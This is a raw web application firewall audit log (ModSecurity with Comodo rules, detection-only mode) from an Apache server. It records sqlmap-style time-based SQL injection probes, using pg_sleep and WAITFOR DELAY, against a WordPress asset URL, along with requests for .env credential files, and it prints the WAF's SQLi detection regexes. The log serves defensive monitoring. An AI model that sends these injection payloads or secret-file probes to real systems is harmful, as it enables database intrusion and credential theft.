REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and 'iktr'='iktr found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 4582=(select 4582 from pg_sleep(5)) and 'iktr'='iktr"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4582=(select 4582 from pg_sleep(5)) and 'iktr'='iktr found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 4582=(select 4582 from pg_sleep(5)) and 'iktr'='iktr"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zfkun2jazaBvM9tttgAAAAE"] Stopwatch: 1750023373362638 5626 (- - -) Stopwatch2: 1750023373362638 5626; combined=3701, p1=379, p2=3143, p3=31, p4=30, p5=118, sr=99, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34851d33-Z-- --b771ae63-A-- [16/Jun/2025:03:06:13.877073 +0530] aE88zVGNm2a2ZAngdHCtkwAAAAc 172.70.240.70 33326 127.0.0.1 7081 --b771ae63-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%282400%3D2400 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.70 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533a4cf34d2e7-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b771ae63-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --b771ae63-E-- --b771ae63-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%282400%3D2400"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687) WAITFOR DELAY '0:0:5' AND (2400=2400 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and (2400=2400 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) waitfor delay '0:0:5' and (2400=2400"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%282400%3D2400"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zVGNm2a2ZAngdHCtkwAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687) WAITFOR DELAY '0:0:5' AND (2400=2400 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zVGNm2a2ZAngdHCtkwAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and (2400=2400 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) waitfor delay '0:0:5' and (2400=2400"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zVGNm2a2ZAngdHCtkwAAAAc"] Stopwatch: 1750023373869845 7345 (- - -) Stopwatch2: 1750023373869845 7345; combined=5055, p1=455, p2=4341, p3=47, p4=36, p5=176, sr=125, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b771ae63-Z-- --14051f26-A-- [16/Jun/2025:03:06:14.066560 +0530] aE88zYrLgrklqy57Kk2b3AAAAAg 172.70.210.188 33318 127.0.0.1 7081 --14051f26-B-- GET /.env HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.210.188 X-Forwarded-For: 129.146.139.92 Connection: close cf-ipcountry: US user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114 Safari/537.36 accept: */* accept-encoding: gzip, br cf-ray: 950533a4c8657c01-LAX cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 129.146.139.92 --14051f26-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 13669 Connection: close Content-Type: text/html; charset=UTF-8 --14051f26-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.getcalley.com"] [uri "/.env"] [unique_id "aE88zYrLgrklqy57Kk2b3AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023373700319 366330 (- - -) Stopwatch2: 1750023373700319 366330; combined=2233, p1=457, p2=1685, p3=0, p4=0, p5=90, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14051f26-Z-- --8bfcde27-A-- [16/Jun/2025:03:06:14.379832 +0530] aE88znZqyQ8YfVGvJU7YVgAAAAY 172.71.172.60 33366 127.0.0.1 7081 --8bfcde27-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.60 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533a7fe12c4ec-FRA cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cf-ipcountry: DE cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --8bfcde27-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --8bfcde27-E-- --8bfcde27-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687 WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88znZqyQ8YfVGvJU7YVgAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687 WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88znZqyQ8YfVGvJU7YVgAAAAY"] Stopwatch: 1750023374374566 5354 (- - -) Stopwatch2: 1750023374374566 5354; combined=3478, p1=388, p2=2943, p3=32, p4=24, p5=91, sr=113, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8bfcde27-Z-- --a419ba5c-A-- [16/Jun/2025:03:06:14.881565 +0530] aE88zh-kH31pk4mNbsU-vgAAAAo 172.71.144.88 33396 127.0.0.1 7081 --a419ba5c-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20KXQf HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.88 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533ab1b73383d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --a419ba5c-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --a419ba5c-E-- --a419ba5c-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20KXQf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687 WAITFOR DELAY '0:0:5'-- KXQf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- kxqf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 waitfor delay '0:0:5'-- kxqf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20KXQf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zh-kH31pk4mNbsU-vgAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687 WAITFOR DELAY '0:0:5'-- KXQf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zh-kH31pk4mNbsU-vgAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5'-- kxqf found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 waitfor delay '0:0:5'-- kxqf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88zh-kH31pk4mNbsU-vgAAAAo"] Stopwatch: 1750023374873696 7985 (- - -) Stopwatch2: 1750023374873696 7985; combined=5493, p1=496, p2=4745, p3=37, p4=27, p5=188, sr=135, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a419ba5c-Z-- --01fada7d-A-- [16/Jun/2025:03:06:15.036598 +0530] aE88zol8S04UZ4l67-neDgAAAAk 185.177.72.210 33362 127.0.0.1 7081 --01fada7d-B-- GET /config/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --01fada7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93d40c450e85b89c22bc26cc21cb7b511750023374; expires=Sun, 15 Jun 2025 22:36:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --01fada7d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.test"] [unique_id "aE88zol8S04UZ4l67-neDgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023374352937 683734 (- - -) Stopwatch2: 1750023374352937 683734; combined=1650, p1=358, p2=1202, p3=0, p4=0, p5=89, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --01fada7d-Z-- --acf3e22a-A-- [16/Jun/2025:03:06:15.385992 +0530] aE88z3ZqyQ8YfVGvJU7YVwAAAAY 162.158.111.102 33432 127.0.0.1 7081 --acf3e22a-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27yERz%27%3D%27yERz HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.102 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533ae3d3b3611-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --acf3e22a-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --acf3e22a-E-- --acf3e22a-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27yERz%27%3D%27yERz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: 1749036687') WAITFOR DELAY '0:0:5' AND ('yERz'='yERz found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and ('yerz'='yerz found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') waitfor delay '0:0:5' and ('yerz'='yerz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27yERz%27%3D%27yERz"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88z3ZqyQ8YfVGvJU7YVwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match 